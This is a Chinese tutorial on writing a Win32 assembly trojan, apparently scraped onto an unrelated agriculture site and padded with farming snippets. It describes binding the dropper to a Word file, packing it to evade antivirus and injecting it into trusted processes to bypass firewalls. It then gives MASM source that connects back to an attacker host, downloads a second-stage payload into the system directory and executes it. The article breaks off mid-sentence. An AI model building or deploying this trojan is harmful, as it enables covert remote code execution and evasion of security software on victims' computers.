我的位置:首页 >> 最新文章

福建绣球Win32汇编木马初探

发布时间:2019-08-27 13:07:58 来源:环保农业网

Win32汇编木马初探

现在很多单位都采用单独的计算机来存放重要的涉密文件。然而如果涉密文件被盗,不仅会带来严重的经济损失,窃密者还可能逍遥法外。为了解决这个问题,我们需要对涉密文件采取某些措施:如绑定木马,在窃密者在得手后木马能自动执行,并记录下窃密者的相关信息,最后及时通知监控端。上面所采取的措施,我们称为网络跟踪技术。本文所要讲述的汇编木马,就经常应用在跟踪技术中。

举个例子:在一涉密.Doc文件中绑定一个.Exe木马。如果木马功能复杂,并且是在VC等编译环境下生成,那它的体积至少有几十K,再加上.Doc文件自身的数据量就非常可观了。一个大的.Doc文件会引起窃密者的怀疑,我们的跟踪也就达不到效果。因此,我们势必要设法在不影响最终目的的前提下,尽量减小木马文件的体积。办法可能不止一个,而我采用的是编写汇编木马的方式。当然,研究的平台都是在Windows2000以上的操作系统中。

Win32汇编木马设计思路完整的汇编木马又称为“小马”,原因有两个:一是它体积小,只有几K;二是它的功能仅仅是反向连接攻击端,从攻击端下载并执行真正的功能复杂的木马(大马)。为了便于大家理解,本文将不关心“大马”的功能实现,重点是提出汇编木马的设计思路,并尽量从基础的角度进行讨论。汇编木马的设计围绕4个重要的技术指标:体积小、防杀、突破防火墙与进程隐藏、拖动并执行“大马”,

下面逐一介绍:1、 体积小。常规木马大多用高级语言编写,在集成环境下编译生成。虽然实现方便,但是生成的.Exe文件体积较大。对于汇编木马,我们采用Win32汇编来实现,使得.Exe文件体积控制在几K。2、 防杀。为了避免被诺顿、卡巴斯基、江民等主流杀毒软件所识别,木马文件一定要进行可靠的加壳处理。根据经验,一般我们选用最新的ASProtect,加壳后的.Exe文件生存能力一般比较强。如果需要,在必要的时候还可以手动修改文件特征码。3、 突破防火墙与进程隐藏。木马文件执行的时候需要与攻击端通信,必须访问网络。但不仅第三方的个人防火墙会阻拦你,现在Windows XP SP2也自带了软件防火墙。当“不可信任”的应用程序访问网络时,防火墙会报警。我的解决方法是:将网络通信部分的代码作为远程线程注入到防火墙“可信任”的进程中。这个“可信任”的进程一般是系统进程,也可以是IE。代码的注入,同时起到了进程隐藏的作用。4、 拖动并执行“大马”。这是汇编木马的核心功能,也是本文要重点举例讨论的内容。最终的监控、跟踪功能是在“大马”中实现的,它可以通过高级语言来实现,体积大小并没有什么限制。

Win32汇编基础为了进行下面的讨论,Win32汇编是大家必须掌握的基础知识。Win32汇编生成的程序也是运行在Windows保护模式下的。我们可以通过下面几个方面去了解:1、Win32ASM编译器Win32ASM编译器最常用的有两种:Borland公司的Tasm5.0和Microsoft的Masm6.11及以上版本,两种编译器各有自己的优缺点,本文选用Microsoft的Masm6.11进行岩石。2、环境设置为了直接调用Masm6.11提供工具和库文件,我在“我的电脑”属性→“高级”→“环境变量”→“用户变量”里分别设置(以本机为例):Include = F:攻防研究\编程相关汇编\masm611Includelib = F:攻防研究\编程相关汇编\masm611libpath = F:攻防研究\编程相关汇编\masm611in3、编译和连接汇编文件的编译:Ml /c /coff 文件名.asm,生成.obj文件资源文件的编译:Rc文件名.rc,生成.res文件连接:Link /SUBSYSTEM:WINDOWS [其他连接选项]OBJ文件名.obj[Res文件名.res]4、Include和Includelib语句的使用Include 语句包含了一些系统的定义和API函数说明,其中所有的Windows 数据结构定义和常量定义包含在“windows.inc”中,而很多API函数的说明包含在其它.inc中。例如:ExitProcess函数包含在Kernel32.dll中,我们就要在程序中包括“Include kernel32.inc”和“Includelib kernel32.lib”语句,否则在编译时会出现API 函数未定义的错误;而MessageBox在user32.dll中,那么我们就要在程序中包括“Include user32.inc”和“Includelib user32.lib”语句。5、数据段、代码段和注释未初始化的数据定义在.data?段中,已初始化的数据定义在.data段中,而代码则位于.code段中。此外,汇编代码注释由;来指引。6、命令行参数的提取。如果生成的.Exe文件是带命令行参数的,那么我们可以通过API函数GetCommandLine来获取。下面用一个简单的例子来对上面的基础知识走一遍,大家就更清楚了。

.386 ;声明在80386平台下.model flat, stdcall; 平坦模式,函数调用约定为stdcalloption casemap :none Include windows.incInclude kernel32.incInclude user32.incIncludelib kernel32.libIncludelib user32.lib

.data ; 放初始化数据szCaption db 命令行参数测试,0

.code;代码段start: ;代码的开始invoke GetCommandLine; 函数调用语句,取代call指令,省去“push 参数 ”操作invoke MessageBox,NULL,eax,addr szCaption,MB_OKinvoke ExitProcess,NULLend start文件存为test.asm。在命令行下编译、连接,输入Exe文件名+参数。小知识:如果要学习更多的汇编知识,可以参见罗云彬编等写的《Windows环境下32位汇编语言程序设计》,在网上也能下载到电子教程。

简单的Win32汇编木马模式实现有了上面的Wn32汇编基础,我们现在回到正题――汇编木马的实现。由于初次介绍,这里我将汇编木马的模型简化,主要实现下载并执行“大马”的功能,同时结合攻击端代码进行演示,算是为以后讨论更为复杂的汇编木马做为铺垫。

汇编木马主要代码如下:;定义未初始化数据,就像高级语言中定义变量一样.data?hInstance dd ?sysdir db 128 dup (?)mainsock dd ?wsainfo WSADATA<>mainsin sockaddr_in<>clientinfo sockaddr_in<>;dwRever_Ip DWORD ?;可通过命令行参数指定,本文在本机演示忽略recvbuff2 dd ?recvbuff db 1024 dup (?)sendbuff db 1024 dup (?)location db 256 dup (?)bytesdone dd ?buffwrite db 256 dup (?)uplfile dd ?; 文件句柄

;已初始化的数据.dataszFileName db dg.Exe,0dirfmt db %s\%s, 0mainport db 80, 0szOK db ok!, 0

.codestart: ;初始化winsockinvoke WSAStartup, 101h, addr wsainfocmp eax, 0;PrintError jnz endl;创建套接字invoke socket, AF_INET, SOCK_STREAM, IPPROTO_TCPcmp eax, INVALID_SOCKET;PrintError jz endl ;出错就结束

mov mainsock, eaxmov mainsin.sin_family, AF_INET;反连端口,80、110、25均可以mov eax, 80 push eaxcall htonsmov mainsin.sin_port, ax;mov eax, dwRever_Ip ;攻击端IP,可根据需要自己改写,也可通过其它方式传递mov eax, 100007fh; 这里使用127.0.0.1mov mainsin.sin_addr, eax

;反连攻击端invoke connect, mainsock, addr mainsin, sizeof mainsin;PrintErrorcmp eax, SOCKET_ERRORjz endloop

;下面接收“大马”;先接收攻击端发送的“大马”文件大小invoke RtlZeroMemory, addr recvbuff2, sizeof recvbuff2invoke recv, mainsock, addr recvbuff2, sizeof recvbuff2, 0cmp eax, SOCKET_ERRORjz endloopcmp eax, 0jz endloop;返回确认信息invoke send, mainsock, addr szOK, sizeof szOK, 0

接收文件,并放在系统目录下upload:;获取系统目录 invoke GetSystemDirectory, addr sysdir, sizeof sysdir;构造路径sprintf(location, "%s\%s", sysdir, szFileName)invoke wsprintf, addr location, addr dirfmt, addr sysdir, addr szFileName;创建文件invoke CreateFile, addr location, GENERIC_WRITE, FILE_SHARE_READ orFILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL;文件句柄mov uplfile, eax;已接收字节数mov bytesdone, 0

;循环接收uploadloop: invoke RtlZeroMemory, addr recvbuff, sizeof recvbuffinvoke recv, mainsock, addr recvbuff, sizeof recvbuff, 0cmp eax, SOCKET_ERROR jz upldonecmp eax, 0jz upldonemov edx, eaxadd bytesdone, eax;向文件中写内容invoke WriteFile, uplfile, addr recvbuff, edx, addr buffwrite, NULLinvoke send, mainsock, addr szOK, sizeof szOK, 0 mov edx, recvbuff2cmp bytesdone, edxjnae uploadloop

upldone:invoke CloseHandle, uplfile ;“大马”命令行参数可根据需要指定invoke ShellExecute, NULL, NULL, addr location, NULL, NULL, SW_SHOWNORMALendloop:invoke closesocket, mainsockendl:end start按照前面的方法编译、生成可执行程序down_exec.exe,这就是简单的汇编木马。大家可以看到,down_exec.Exe体积仅2.5k。攻击端的实现很简单,就是监听80(110、25等具有隐蔽性的端口都可以)端口,等待汇编木马执行后连接过来,然后传送并执行“大马”。具体代码参见光盘中的Server.cpp,此处不再赘述。至于“大马”,这里我用了一个个简单的dg.exe,作用是在D盘根目录下生成1.txt,里面有一串字符便于检验。

下面我们进行测试:先生成攻击端Server.Exe、dg.Exe放在tools目录中,将tools目录、Server.Exe和汇编木马down_exec.Exe一同放到“演示工具目录中”, 双击Server.Exe和down_exec.Ex

河道治理设备

工程亮资

发电机出租租赁

相关阅读
白兰花的养殖方法及管理要点世纪南火绳

白兰花开花的时候香气扑鼻,而且花姿优美,常常用于街道绿化,每当白兰花盛开的时候总能闻到一股清香,有着“天然香水”的美称。现在很多花友也喜欢将它当成家庭盆栽来养殖,那么盆栽白兰

11月18日 05:06
精甲吡唑醚霜疫绝杀世纪钝叶川梨

精甲·吡唑醚为吡唑醚菌酯与精甲霜灵混合而成的杀菌剂,内吸性较强,杀菌较迅速,通过破坏病菌细胞壁形成杀死病菌,并可抑制病菌孢子产生,对病菌具有预防、治疗与铲除三重功效。本复

11月18日 05:05
3月17号活羊价格行情基本稳定世纪微孔草

[导读]全国羊肉平均价格62.19元/公斤,比前一周下降0.8%,比去年同时期上涨12.8%。河北、内蒙古、山东、河南和新疆等主产省份羊肉平均价格59.99元/公斤,比前一周下降0.5%;上海、浙江、福建、江西

11月18日 05:04
冬春种甘蔗须的防凤梨病世纪三月竹

冬春种甘蔗须的防凤梨病凤梨病在我国各植蔗省区均有产生,是甘蔗种苗的主要病害。它除使下种的蔗种不克不及萌芽外,还能使窖藏蔗种受益糜烂。现在我国甘蔗病害中,凤梨病是对临盆影响较年

11月18日 05:01
秦糯一号玉米世纪碱独行菜

秦糯一号(玉米)1、种类泉源秦糯一号种类是杨凌秦丰农业科技股分无限公司种子迷信院于1999年冬在海南育成的白粒糯玉米杂交一代种。2、特点特征属中熟种类,株高225―280cm,穗位高93―120cm阁下

11月18日 04:55
防大豆花荚脱落世纪康藏荆芥

防大豆花荚脱落1、因地因苗追肥。着花期植株因缺肥不克不及实时封行的田块,可在初花期再追肥一次。一样平常每亩追施尿素5千克或许硫酸铵10千克,可淘汰花荚零落。2、根外喷肥。在花荚期一样平

11月18日 04:43
友情链接: